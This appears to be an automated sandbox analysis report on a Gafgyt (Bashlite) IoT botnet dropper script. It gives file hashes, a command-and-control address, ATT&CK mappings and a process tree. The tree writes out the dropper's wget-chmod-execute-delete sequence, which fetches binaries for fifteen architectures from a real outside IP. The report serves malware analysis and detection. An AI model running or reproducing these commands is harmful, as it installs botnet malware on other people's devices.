gafgyt | 1b099d704be7ad0232861396b44a8e0bf2578f6a57294a213ed727f28bc52f3b

Analysis

max time kernel
103s
max time network
105s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
23-12-2024 04:11

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General

Target

gtop.sh
Size

2KB
MD5

38530bb2fc22c035260c8a4fb33ee8ba
SHA1

a442c5ef953468e28f7da8d1bae9428f571dc587
SHA256

1b099d704be7ad0232861396b44a8e0bf2578f6a57294a213ed727f28bc52f3b
SHA512

b7d21f550985a44d48484f62b010ecb22d5a0474b56470f0c4cc323ea6ac7023cda4486fc5ade21392ed7841f8f520e9c11a903897e4f494b796b5b579e27dc7

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Extracted

Family

gafgyt

154.213.186.115:4444

Signatures

Detected Gafgyt variant 15 IoCs

resource	yara_rule
behavioral4/files/fstream-1.dat	family_gafgyt
behavioral4/files/fstream-2.dat	family_gafgyt
behavioral4/files/fstream-3.dat	family_gafgyt
behavioral4/files/fstream-4.dat	family_gafgyt
behavioral4/files/fstream-5.dat	family_gafgyt
behavioral4/files/fstream-6.dat	family_gafgyt
behavioral4/files/fstream-7.dat	family_gafgyt
behavioral4/files/fstream-8.dat	family_gafgyt
behavioral4/files/fstream-9.dat	family_gafgyt
behavioral4/files/fstream-10.dat	family_gafgyt
behavioral4/files/fstream-11.dat	family_gafgyt
behavioral4/files/fstream-12.dat	family_gafgyt
behavioral4/files/fstream-13.dat	family_gafgyt
behavioral4/files/fstream-14.dat	family_gafgyt
behavioral4/files/fstream-15.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
729	chmod
776	chmod
805	chmod
810	chmod
819	chmod
836	chmod
853	chmod
870	chmod
734	chmod
744	chmod
800	chmod
865	chmod
724	chmod
760	chmod
860	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/jackmymips	725	jackmymips
/tmp/jackmymips64	730	jackmymips64
/tmp/jackmymipsel	735	jackmymipsel
/tmp/jackmysh4	746	jackmysh4
/tmp/jackmyx86	762	jackmyx86
/tmp/jackmyi486	777	jackmyi486
/tmp/jackmyi586	801	jackmyi586
/tmp/jackmyi686	806	jackmyi686
/tmp/jackmypowerpc	811	jackmypowerpc
/tmp/jackmym86k	820	jackmym86k
/tmp/jackmysparc	837	jackmysparc
/tmp/jackmyarmv4	854	jackmyarmv4
/tmp/jackmyarmv4tl	861	jackmyarmv4tl
/tmp/jackmyarmv5	866	jackmyarmv5
/tmp/jackmyarmv6	871	jackmyarmv6

Reads system routing table 1 TTPs 1 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	jackmymipsel

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	jackmymipsel

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
725	jackmymips
727	rm
728	wget
733	wget
738	rm
700	wget
730	jackmymips64
732	rm
735	jackmymipsel

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jackmymips64	wget
File opened for modification	/tmp/jackmymipsel	wget
File opened for modification	/tmp/jackmypowerpc	wget
File opened for modification	/tmp/jackmyarmv4	wget
File opened for modification	/tmp/jackmymips	wget
File opened for modification	/tmp/jackmysparc	wget
File opened for modification	/tmp/jackmyarmv4tl	wget
File opened for modification	/tmp/jackmyarmv6	wget
File opened for modification	/tmp/jackmysh4	wget
File opened for modification	/tmp/jackmyx86	wget
File opened for modification	/tmp/jackmyi486	wget
File opened for modification	/tmp/jackmyi586	wget
File opened for modification	/tmp/jackmyi686	wget
File opened for modification	/tmp/jackmym86k	wget
File opened for modification	/tmp/jackmyarmv5	wget

/tmp/gtop.sh
/tmp/gtop.sh
1⤵
PID:697
- /usr/bin/wget
  wget http://154.213.186.115/jackmymips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:700
- /bin/chmod
  chmod +x jackmymips
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/jackmymips
  ./jackmymips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:725
- /bin/rm
  rm -rf jackmymips
  2⤵
  - System Network Configuration Discovery
  PID:727
- /usr/bin/wget
  wget http://154.213.186.115/jackmymips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod +x jackmymips64
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/jackmymips64
  ./jackmymips64
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:730
- /bin/rm
  rm -rf jackmymips64
  2⤵
  - System Network Configuration Discovery
  PID:732
- /usr/bin/wget
  wget http://154.213.186.115/jackmymipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod +x jackmymipsel
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/jackmymipsel
  ./jackmymipsel
  2⤵
  - Executes dropped EXE
  - Reads system routing table
  - Reads system network configuration
  - System Network Configuration Discovery
  PID:735
- /bin/rm
  rm -rf jackmymipsel
  2⤵
  - System Network Configuration Discovery
  PID:738
- /usr/bin/wget
  wget http://154.213.186.115/jackmysh4
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod +x jackmysh4
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/jackmysh4
  ./jackmysh4
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm -rf jackmysh4
  2⤵
  PID:749
- /usr/bin/wget
  wget http://154.213.186.115/jackmyx86
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod +x jackmyx86
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/jackmyx86
  ./jackmyx86
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm -rf jackmyx86
  2⤵
  PID:764
- /usr/bin/wget
  wget http://154.213.186.115/jackmyi486
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod +x jackmyi486
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/jackmyi486
  ./jackmyi486
  2⤵
  - Executes dropped EXE
  PID:777
- /bin/rm
  rm -rf jackmyi486
  2⤵
  PID:781
- /usr/bin/wget
  wget http://154.213.186.115/jackmyi586
  2⤵
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod +x jackmyi586
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/jackmyi586
  ./jackmyi586
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm -rf jackmyi586
  2⤵
  PID:803
- /usr/bin/wget
  wget http://154.213.186.115/jackmyi686
  2⤵
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod +x jackmyi686
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/jackmyi686
  ./jackmyi686
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm -rf jackmyi686
  2⤵
  PID:808
- /usr/bin/wget
  wget http://154.213.186.115/jackmypowerpc
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod +x jackmypowerpc
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/jackmypowerpc
  ./jackmypowerpc
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm -rf jackmypowerpc
  2⤵
  PID:813
- /usr/bin/wget
  wget http://154.213.186.115/jackmym86k
  2⤵
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod +x jackmym86k
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/jackmym86k
  ./jackmym86k
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm -rf jackmym86k
  2⤵
  PID:823
- /usr/bin/wget
  wget http://154.213.186.115/jackmysparc
  2⤵
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod +x jackmysparc
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/jackmysparc
  ./jackmysparc
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm -rf jackmysparc
  2⤵
  PID:841
- /usr/bin/wget
  wget http://154.213.186.115/jackmyarmv4
  2⤵
  - Writes file to tmp directory
  PID:842
- /bin/chmod
  chmod +x jackmyarmv4
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/jackmyarmv4
  ./jackmyarmv4
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm -rf jackmyarmv4
  2⤵
  PID:857
- /usr/bin/wget
  wget http://154.213.186.115/jackmyarmv4tl
  2⤵
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod +x jackmyarmv4tl
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/jackmyarmv4tl
  ./jackmyarmv4tl
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm -rf jackmyarmv4tl
  2⤵
  PID:863
- /usr/bin/wget
  wget http://154.213.186.115/jackmyarmv5
  2⤵
  - Writes file to tmp directory
  PID:864
- /bin/chmod
  chmod +x jackmyarmv5
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/jackmyarmv5
  ./jackmyarmv5
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm -rf jackmyarmv5
  2⤵
  PID:868
- /usr/bin/wget
  wget http://154.213.186.115/jackmyarmv6
  2⤵
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod +x jackmyarmv6
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/jackmyarmv6
  ./jackmyarmv6
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm -rf jackmyarmv6
  2⤵
  PID:873

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/jackmyarmv4

Filesize
167KB

MD5
d00be981681e272f97c7ae6e0d72a679

SHA1
76e316df4e70371cc1a0e1a718c4a148564ca13b

SHA256
2359a71e62d525ef2cc8041db19e15a51eb3201692869b7a75bd6d9977b84f08

SHA512
0ab8f509f9197c2130bb7bc36bc5de6f23d6c55a793158d1c8b2e9eff49d8b8bc69ac7edb994f78728f72de6e874af47bd7a84e36162e79dadcc0c7ba75271e0

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/tmp/jackmyarmv4tl

Filesize
166KB

MD5
8701802700912d0bc573d75d76bf4d30

SHA1
bcf66b86849b6c6a5977a102c67737723d9ace0d

SHA256
d338bd034f546e5756e2ebb0def390b32a13565a10e821ca8eee2eaa5468c07f

SHA512
74bd2a2a81f2dec0fa278d1aa02bfa20be97884fb7ccd2ccf4aaf2dfa07cbcc5314f7d1125c730a5209ef3abbeec7cc9e672fe32e8359522c9487f28f8bd5c7f

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/tmp/jackmyarmv5

Filesize
166KB

MD5
795d887687193140ee04711c54574ab5

SHA1
35ac21f15d9be9c9da1b22acefefbf466ad154f4

SHA256
f25d5d4a126acb25c26694b0d37455b757f6607a9bc33ee4a71f50b5506292a5

SHA512
5c687bcb950fae7738c4b65f67a0612f1f86338b92867deb1611b9483dfbc04b202edd158a9108be5d55350b717a64922050965e48907ff8066542eb4534c614

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/tmp/jackmyarmv6

Filesize
166KB

MD5
f8267e8d44d86203d2560d280b66bd36

SHA1
5a1c5e5caeacdf01af8c44bcbe1625b7ad0eb0fb

SHA256
a3360319b5713fa0352e837562c56a8fa34ff656a506763ca7e809d120e57980

SHA512
7b7398311260831b8428e76c46f31297dbfcae42c5c41c87c0644892854b0477406641bd0d5e7af03c7190a8fac38ac0c3cded5341f4f07dbfb974b8275b934e

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/tmp/jackmyi486

Filesize
126KB

MD5
37bc4b1d4fce9500ee4fee154e61d9e6

SHA1
6fddc8858547e60672cca66857ceb7293638a057

SHA256
72071458112606424f8eb5e064a29f4ab4016d3971da7f89e62785abeb9cbb9c

SHA512
3db6d2ed8a079792d9fc024a9e98a7cf6959ca446c4944726707c48a93775c5b40b2b9d46150a287561a4fdc6a1aa21310d8271ac521b40a733d15f07623d8eb

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/tmp/jackmyi586

Filesize
135KB

MD5
4ca387e1408f29f6ed1979acfb671f82

SHA1
3467879b5fd631a5884f947ba013d61ea8a33c91

SHA256
1f7ba28d9d2ea091a89b2f7e4131b76163a6dcfb696cc34b073de8c9bf8afc4d

SHA512
18995f38839a98d0d478dad4b4b000e478effd1acaea865a5e947454e1d17d296ae519556f1a30f875b505f38f298440d20ff988440457907d5dd3ae9492c738

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/tmp/jackmyi686

Filesize
139KB

MD5
1aeb2935aec67978bfdab8243470b577

SHA1
b26b260d86609e9c758279c59eb8caec53fd0f69

SHA256
936937cb11ad426210af65f850f4afee5713e324ad703a12d0b5f687ea84cf57

SHA512
3843063e037212bc1a60b67a69407cb466ee67d6d9935018f7fcebe5536c4be078cc797865cdfafd2f9073cec8c6425546089aee641d3788b61f4238a15748ce

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/tmp/jackmym86k

Filesize
155KB

MD5
a26f6fdf41bb8e4034409fb84adc83ba

SHA1
8c03a273bdd2e8f54994d0d061fe259a2968ff41

SHA256
7911664055520934019ddfa554219500fa5a038268c828a02b05aa6ad198fbbd

SHA512
dcdf2befd602bee0a56c2a05e01171cb24aada733531e479b157ccb8a6d494c3c1fcaa261b813e4eedc498bdc3ba5664e6e3b4c42ce713cfe2d5a5dcc27cb897

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/tmp/jackmymips

Filesize
199KB

MD5
f2ab2725ea6c883a5c608bc365c41fe5

SHA1
454d6983d9a7bb59aa0441b2c2cc805a97738e66

SHA256
531e818ee346f15e78c4f08d8de52a64597e10ce744b1be9dd2137eb1cd78c1d

SHA512
572183decc9a9ee8878e77485db9a22b6b0606e667743788eb5f5b1f8f35522505c216fe027931fa8913989053fa346b46b78c6b2209ecd53630bbc14e1d3a26

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/tmp/jackmymips64

Filesize
244KB

MD5
89655c0a64c3552ee71dc901a3561ad1

SHA1
8a488927882c18b5a35da06c6428f8707d4314ad

SHA256
08d4aed11bff7d311aa206396b2651f2e587e0fbe41d2688281ad4e0f6322d04

SHA512
23c581fe1ca57cc3dc9a7efeeee4d97eb5f97ac92ed3cf1f4af4e8d2caa467aa6e826a29f01a67b9dcc8609e77e76e9d23ee985f770fada89a9acab484c9af6f

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/tmp/jackmymipsel

Filesize
199KB

MD5
caabd697c443462f0a04d6b30529df58

SHA1
4fcb97074d1971ebfa482aad5edf208b43b6d819

SHA256
5259f289b8841e6beb9718c486210857edac40b5c206e5949fa5402b861849cf

SHA512
abf9607d8d332eca40f19ffef0866414fa353f12663c3dd232dd190954ab4f401f69cc9e84f669910c801a30df62bba8f00425aac5b1bfd99e756bdd4277a1a8

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/tmp/jackmypowerpc

Filesize
150KB

MD5
29f174a35d868d69945c412c159184dd

SHA1
7ac1d35bdbe15fed8443341de0875579ec8099d0

SHA256
b9966986b49c8db77d7909f17e743e4e7f6df00379a990467d62db55c69a3b7b

SHA512
6047582863aca61d2e8925f2fa6e4cc4eecdcd4095b76ea276e9489f7da1fc54503a01370f4f2f4553d144818cfa6b8324fdf772d92ecdcca57465904f012899

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/tmp/jackmysh4

Filesize
146KB

MD5
2a8e0da501cea8f8d32893a5fd6c9aab

SHA1
29b2be373b4155632926b9656861bebd53264473

SHA256
17f492bbf1085e3cec77c8b46831a7d2ef4662d0162377358e17296bebbb08d1

SHA512
64764a34cd7e8b7be0220519910b6f5a7e3c47340e45450e4e368515dca6c73ab3bbe11726f380533e11bc4ec840838d73a5dcc4720c93c96bb2b1444eedf6c7

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/tmp/jackmysparc

Filesize
167KB

MD5
8ad1c29bcb5557ee83c64f35b9b46b2e

SHA1
0fabfb4c79ff14fdacef575b3728561a8e557a77

SHA256
d44b79302f6bb77b6432c8074582a5e2df2c9d24404bc3dc17441f59e22284ca

SHA512
a3c8a68708056e0cd4aa9d5cae1c865eb381ec62f316aab48e38cdcb4ef0be3abc8daf30e4c888766211c2eaa433c7fe15e85efd3b14b35a5f3de5ab6e2ac2e6

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/tmp/jackmyx86

Filesize
156KB

MD5
afcb3a143b9f4e3a985c3eeb2e2ae4c8

SHA1
295f0e0380f71feb1c8911e29882db6a792bbd58

SHA256
fd0b10b636f99ee5e527b266d917c41d33230ad6bf600454e10b3e106db1031c

SHA512
b6124a40e8a5e7ff49df9b11e3b5097ac9e81b76c6146d902600f50de431e535136d22d63a34736b3fc53121ad0fa2d6b00af18b1ce834997c94c8eb288f5b08

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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